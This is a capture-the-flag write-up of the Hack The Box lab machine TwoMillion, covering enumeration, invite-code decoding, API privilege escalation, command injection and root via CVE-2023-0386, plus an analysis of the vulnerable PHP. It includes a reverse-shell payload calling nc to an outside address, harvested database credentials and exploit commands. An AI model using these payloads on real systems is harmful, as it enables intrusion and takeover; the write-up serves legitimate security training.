Home HTB Writeup: TwoMillion
Post
Cancel

HTB Writeup: TwoMillion

Information

TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox

NameTwoMillion
Release Date7 Jun 2023
OSLinux
DifficultyEasy
Vulnerabilities

Remote Code Execution, Misconfiguration,

OS Command Injection, Command Execution

LanguagesPHP, JavaScript

Solution flow graph

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
msplmee@kali:~$ nmap -p- --min-rate 10000 10.10.11.221
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-08 02:34 EDT
Nmap scan report for 10.10.11.221
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds

msplmee@kali:~$ nmap -p 22,80 -sC -sV 10.10.11.221
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-08 02:35 EDT
Nmap scan report for 10.10.11.221
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

The scan reveals ports 22 (SSH) and 80 (Nginx) open.

Subdomain Brute Force

I try to brute force the DNS server named “2million.htb” with ffuf to check if there are any different subdomains. However, it doesn’t return any results.

So let’s add this vHost to /etc/hosts file.

1
echo '10.10.11.221 2million.htb' | sudo tee -a /etc/hosts

Website - TCP 80

Most of the links direct to various locations on the page. The website has functionality to login and join the platform.

The link labeled /login shows a login form. However, since I don’t have any credentials and the “forgot password” link doesn’t lead anywhere, there’s nothing for me here.

When I click on join and then select Join HTB, I get redirected to /invite. This page asks for an invite code, with a message that says “Feel free to hack your way in :)”.

The Invite Code Challenge was back 🎉🎉🎉

Shell as www-data

Invite Code Challenge

Taking a look at the page’s source code I see the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<script defer src="/js/inviteapi.min.js"></script>
<script defer>
    $(document).ready(function() {
        $('#verifyForm').submit(function(e) {
            e.preventDefault();

            var code = $('#code').val();
            var formData = { "code": code };

            $.ajax({
                type: "POST",
                dataType: "json",
                data: formData,
                url: '/api/v1/invite/verify',
                success: function(response) {
                    if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
                        // Store the invite code in localStorage
                        localStorage.setItem('inviteCode', code);

                        window.location.href = '/register';
                    } else {
                        alert("Invalid invite code. Please try again.");
                    }
                },
                error: function(response) {
                    alert("An error occurred. Please try again.");
                }
            });
        });
    });
</script>

When the form submits, it sends a POST request to /api/v1/invite/verify to check the validity of the provided code. Additionally, a script named inviteapi.min.js is being loaded:

1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Let’s de-obfuscating this code with de4js. I get the following readable JavaScript code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

There are two functions in the code above. The makeInviteCode is more interesting, as it can make a POST request to /api/v1/invite/how/to/generate.

1
2
3
4
5
6
7
8
9
10
msplmee@kali:~$ curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

The hint says the data is encrypted, and the encytpe says it’s ROT13. The website rot13 can be used to decrypt the above data.

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

Let’s generate an invite code.

1
2
3
4
5
6
7
8
9
msplmee@kali:~$ curl -sX POST http://2million.htb/api/v1/invite/generate | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "MDVUVkEtRlcyOFctMVlSRVAtQjdTUFY=",
    "format": "encoded"
  }
}

The result says the format is “encoded”. The “code” is all numbers, letters and ends with =. That fits base64 encoding nicely.

1
2
msplmee@kali:~$ echo MDVUVkEtRlcyOFctMVlSRVAtQjdTUFY= | base64 -d
05TVA-FW28W-1YREP-B7SPV

That looks like a valid invite code. When I enter it into the form on /invite, it redirects me to /register. I can sign up here and log in.

Authenticated Enumeration

With an account, I can access to /home

The only link that really works is the “Access” page /home/access

The Access page allows a user to Download and Regenerate VPN file to be able to access the HTB infrastructure.

“Connection Pack” is sent out to /api/v1/users/vpn/generate and in return the VPN file and in return the VPN file for current user is downloaded.

I will send one of these requests to Burp Repeater and try request to the URL /api

Let’s request /api/v1 . It returns details of the full API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Let’s enumerate Admin API

/admin/auth: I’m not an admin

/admin/vpn/generate: it returns 401 Unauthorized

/admin/settings/update: it doesn’t return 401 Unauthorized, but instead the API replies with Invalid content type

Get Admin Access

It is often for APIs to use JSON for sending and receiving data, so lets set the Content-Type header to application/json

I get new error message; I will add email in the body in json

I get another error for a missing parameter called is_admin. I will add this as well.

I verify this again by accessing the /admin/auth

Command Injection

Let’s check out the /admin/vpn/generate URL that I have sufficient permissions.

I will add my username

If this VPN is created using the exec or system PHP function and lacks proper filtering - which is likely since it’s an administrative-only feature - there’s a chance that injecting code into the username field could lead to gaining command execution on the remote system.

The command is successful and I gain command execution. Let’s get reverse shell.

1
2
3
{
	"username": "msplmee; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.22 443 >/tmp/f;"
}

On sending this, I get a shell at my pwncat

1
2
3
4
5
6
7
msplmee@kali:~$ pwncat-cs -l -p 443
[06:28:52] Welcome to pwncat 🐈!
[06:33:38] received connection from 10.10.11.221:38618
[06:33:39] 10.10.11.221:38618: registered new host w/db
(local) pwncat$
(remote) www-data@2million:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as admin

The web directory has a file named .env that holds the database login details for a user named admin.

1
2
3
4
5
www-data@2million:/var/www/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Due to the reuse of passwords, I can log in as the admin via su or SSH. The user flag can be found in /home/admin

1
2
3
4
5
6
7
8
msplmee@kali:~$ pwncat-cs ssh://admin:SuperDuperPass123@2million.htb
[06:45:18] Welcome to pwncat 🐈!
[06:45:21] 2million.htb:22: registered new host w/ db
(local) pwncat$
(remote) admin@2million:/home/admin$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
(remote) admin@2million:/home/admin$ cat user.txt
a4d*****************************

Shell as root

After some effort, I found a mail file /var/mail/admin for the user admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
admin@2million:/$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

An exploit for OverlayFS / FUSE is mentioned. After quickly searching on Google, I discovered some articles about a vulnerability assigned CVE-2023-0386. These articles provide information about the kernel versions that are at risk.

Let’s find out the current version of the kernel and the release of the box.

1
2
3
4
5
6
7
8
admin@2million:/$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
admin@2million:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.2 LTS
Release:        22.04
Codename:       jammy

The affected kernel versions for jammy go up to 5.15.0-70.77 and as seen previously the box is using 5.15.70 so it is a good idea to test if it is vulnerable.

There’s a POC for this exploit on GitHub. I download the ZIP version of the repo then upload it to 2million

1
(local) pwncat$ upload CVE-2023-0386.zip /tmp/CVE-2023-0386.zip

Unzip the contents of CVE-2023-0386.zip, go into the folder and compile the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
admin@2million:/tmp$ unzip CVE-2023-0386.zip
Archive:  CVE-2023-0386.zip
c4c65cefca1365c807c397e953d048506f3de195
   creating: CVE-2023-0386-main/
  inflating: CVE-2023-0386-main/Makefile
  inflating: CVE-2023-0386-main/README.md
  inflating: CVE-2023-0386-main/exp.c
  inflating: CVE-2023-0386-main/fuse.c
  inflating: CVE-2023-0386-main/getshell.c
   creating: CVE-2023-0386-main/ovlcap/
 extracting: CVE-2023-0386-main/ovlcap/.gitkeep
   creating: CVE-2023-0386-main/test/
  inflating: CVE-2023-0386-main/test/fuse_test.c
  inflating: CVE-2023-0386-main/test/mnt
  inflating: CVE-2023-0386-main/test/mnt.c
admin@2million:/tmp$ cd CVE-2023-0386-main/
admin@2million:/tmp/CVE-2023-0386-main$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
<SNIP>
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

Finally, let’s run the next command from the instructions.

1
2
admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

Then I execute the exp binary in the other window.

1
2
3
4
5
6
7
8
9
10
11
12
admin@2million:/tmp/CVE-2023-0386-main$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Aug  9 02:11 .
drwxrwxr-x 6 root   root     4096 Aug  9 02:11 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386-main#

That’s a root shell. The root flag can be found in /root/root.txt

1
2
root@2million:~# cat /root/root.txt
897*****************************

Post Root

There is a file thank_you.json in the root directory along with the flag.

1
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

I use CyberChef to decode this message.

URL Decode

1
{"encoding": "url", "data": "{"encoding": "hex", "data": "7b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d"}"}

From Hex

1
{"encryption": "xor", "encrpytion_key": "HackTheBox", "encoding": "base64", "data": "DAQCGXQgBCEELCAEIQQsSCYtAhU9DwofLURvSDgdaAARDnQcDTAGFCQEB0sgB0UjARYnFA0IMUgEYgIXJQQNHzsdFmICESQEEB87BgBiBhZoDhYZdAIKNx0WLRhDHzsPADYHHTpPQzw9HA1iBhUlBA0YMUgPLRZYKQ8HSzMaBDYGDD0FBkd0HwBiDB0kBAEZNRwAYhsQLUECCDwBADQKFS0PF0s7DkUwChkrCQoFM0hXYgIRJA0KBDpIFycCGToKAgk4DUU3HB06EkJLAAAMMU8RJgIRDjABBy4KWC4EAh90Hwo3AxxoDwwfdAAENApYKgQGBXQYCjEcESoNBksjAREqAA08QQYKNwBFIwEcaAQVDiYRRS0BHWgOBUstBxBsZXIOEwwGdBwNJ08OLRMaSzYNAisBFiEPBEd0IAQhBCwgBCEELEgNIxxYKgQGBXQKECsDDGgUEwQ6SBEqClgqBA8CMQ5FNgcZPEEIBTsfCScLHy1BEAM1GgwsCFRoAgwHOAkHLR0ZPAgMBXhIBCwLWCAADQ8nRQosTx0wEQYZPQ0LIQpYKRMGSzIdCyYOFS0PFwo4SBEtTwgtExAEOgkJYg4WLEETGTsOADEcEScPAgd0DxctGAwgT0M/Ow8ANgcdOk1DHDFIDSMZHWgHDBggDRcnC1gpD0MOOh4MMAAWJQQNH3QfDScdHWgIDQU7HgQ2BhcmQRcDJgETJxxYKQ8HSycDDC4DC2gAEQ50AAosChxmQSYKNwBFIQcZJA0GBTMNRSEAFTgNBh8xDEliChkrCUMGNQsNKwEdaAIMBSUdADAKHGRBAgUwSAA0CgoxQRAAPQQJYgMdKRMNDjBIDSMcWCsODR8mAQc3Gx0sQRcEdBwNJ08bJw0PDjccDDQKWCEPFw44BAwlChYrBEMfPAkRYgkNLQ0QSyAADDFPDiEDEQo6HEUhABUlFA0CIBFLSGUsJ0EGCjcARSMBHGgEFQ4mEUUvChUqBBFLOw5FNgcdaCkCCD88DSctFzBBAAQ5BRAsBgwxTUMfPAkLKU8BJxRDDTsaRSAKESYGQwp0GAQwG1gnB0MfPAEWYgYWKxMGDz0KCSdPEicUEQUxEUtiNhc9E0MIOwYRMAYaPRUKBDobRSoODi1BEAM1GAAmTwwgBEMdMRocYgkZKhMKCHQHA2IADTpBEwc1HAMtHRVoAA0PdAELMR8ROgQHSyEbRTYAWCsODR89BhAjAxQxQQoFOgcTIxsdaAAND3QNEy0DDi1PQzwxSAQwClghDA4OOhsALhZYOBMMHjBICiRPDyAAF0sjDUUqDg4tQQIINwcIMgMROwkGD3QcCiUKDCAEEUd0CQsmTw8tQQYKMw0XLhZYKQ8XAjcBFSMbHWgVCw50Cwo3AQwkBBAYdAUMLgoLPA4NDidIHCcbWDwOQwg7BQBsZXIABBEOcxtFNgBYPAkGSzoNHTZPGyAAEx8xGkliGBAtEwZLIw1FNQYUJEEABDocDCwaHWgVDEskHRYqTwwgBEMJOx0LJg4KIQQQSzsORSEWGi0TEA43HRcrGwFkQQoFJxgMMApYPAkGSzoNHTZPHy0PBhk1HAwtAVgnB0MOIAAMIQ4UaAkCCD8NFzFDWCkPB0s3GgAjGx1oAEMcOxoJJk8PIAQRDnQDCy0YFC0FBA50ARZiDhsrBBAYPQoJJ08MJ0ECBzhGb0g4ETwJQw8xDRUnHAxoBhEKIAERNwsdZGtpPzwNRQoOGyM1Cw4WBx1iOx0pDA=="}

Form Base64 and XOR. It’s a thank you note.

1
2
3
4
5
6
7
8
9
10
11
12
13
Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

Code Analysic

Update Settings

The first vulnerability that allows users to set themselves as admin lies in the update_settings function in AdminController.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public function update_settings($router) {
    $db = Database::getDatabase();

    $is_admin = $this->is_admin($router);
    if (!$is_admin) {
        return header("HTTP/1.1 401 Unauthorized");
        exit;
    }

    if (!isset($_SERVER['CONTENT_TYPE']) || $_SERVER['CONTENT_TYPE'] !== 'application/json') {
        return json_encode([
            'status' => 'danger',
            'message' => 'Invalid content type.'
        ]);
        exit;
    }

    $body = file_get_contents('php://input');
    $json = json_decode($body);

    if (!isset($json->email)) {
        return json_encode([
            'status' => 'danger',
            'message' => 'Missing parameter: email'
        ]);
        exit;
    }

    if (!isset($json->is_admin)) {
        return json_encode([
            'status' => 'danger',
            'message' => 'Missing parameter: is_admin'
        ]);
        exit;
    }

    $email = $json->email;
    $is_admin = $json->is_admin;

    if ($is_admin !== 1 && $is_admin !== 0) {
        return json_encode([
            'status' => 'danger',
            'message' => 'Variable is_admin needs to be either 0 or 1.'
        ]);
        exit;
    }

    $stmt = $db->query('SELECT * FROM users WHERE email = ?', ['s' => [$email]]);
    $user = $stmt->fetch_assoc();

    if ($user) {
        $stmt = $db->query('UPDATE users SET is_admin = ? WHERE email = ?', ['s' => [$is_admin, $email]]);
    } else {
        return json_encode([
            'status' => 'danger',
            'message' => 'Email not found.'
        ]);
        exit;
    }

    if ($user['username'] == $_SESSION['username'] ) {
        $_SESSION['is_admin'] = $is_admin;
    }

    return json_encode(['id' => $user['id'], 'username' => $user['username'], 'is_admin' => $is_admin]);
}

In the above code the is_admin function is called to check if the current user is administrator or not.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function is_admin($router)
{
    if (!isset($_SESSION) || !isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || !isset($_SESSION['username'])) {
        return header("HTTP/1.1 401 Unauthorized");
        exit;
    }

    $db = Database::getDatabase();

    $stmt = $db->query('SELECT is_admin FROM users WHERE username = ?', ['s' => [$_SESSION['username']]]);
    $user = $stmt->fetch_assoc();

    if ($user['is_admin'] == 1) {
        header('Content-Type: application/json');
        return json_encode(['message' => TRUE]);
    } else {
        header('Content-Type: application/json');
        return json_encode(['message' => FALSE]);
    }
}

This function checks the current user session for the username and is_admin variables and also checks if the value of is_admin is equal to 1 at which point it returns JSON with message set to true.

The issue is that the update_settings function doesn’t properly check the value of is_admin. It checks if is_admin exists and/or if its value is true, the if statement in the update_setting results to true because is_admin has a value.

Admin VPN

The second vulnerability exists in the VPNController.php and specifically the admin_vpn function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function admin_vpn($router) {
    if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
        return header("HTTP/1.1 401 Unauthorized");
        exit;
    }
    if (!isset($_SESSION['is_admin']) || $_SESSION['is_admin'] !== 1) {
        return header("HTTP/1.1 401 Unauthorized");
        exit;
    }
    if (!isset($_SERVER['CONTENT_TYPE']) || $_SERVER['CONTENT_TYPE'] !== 'application/json') {
        return json_encode([
            'status' => 'danger',
            'message' => 'Invalid content type.'
        ]);
        exit;
    }

    $body = file_get_contents('php://input');
    $json = json_decode($body);

    if (!isset($json)) {
        return json_encode([
            'status' => 'danger',
            'message' => 'Missing parameter: username'
        ]);
        exit;
    }
    if (!$json->username) {
        return json_encode([
            'status' => 'danger',
                'message' => 'Missing parameter: username'
        ]);
        exit;
    }
    $username = $json->username;

    $this->regenerate_user_vpn($router, $username);
    $output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

    return is_array($output) ? implode("<br>", $output) : $output;
}

It uses a shell_exec to read and print the contents of the generated VPN file.

1
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

Due to the username variable being used here a command injection is possible.

This post is licensed under CC BY 4.0 by the author.